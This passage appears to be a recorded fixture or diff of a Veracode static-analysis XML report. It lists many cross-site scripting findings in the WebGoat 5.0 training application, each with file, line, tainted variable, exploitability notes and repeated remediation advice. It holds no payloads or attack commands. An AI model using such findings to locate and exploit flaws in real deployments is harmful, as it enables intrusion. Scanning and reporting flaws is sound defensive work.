+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"2\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"266\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"233\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"121\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"75\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"220\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"188\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"15\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"183\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"191\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"20\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable message.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpSplitting.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpSplitting\"
+        functionprototype=\"apache.ecs.Element doHTTPSplitting(session.WebSession)\"
+        functionrelativelocation=\"55\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"221\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"1\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
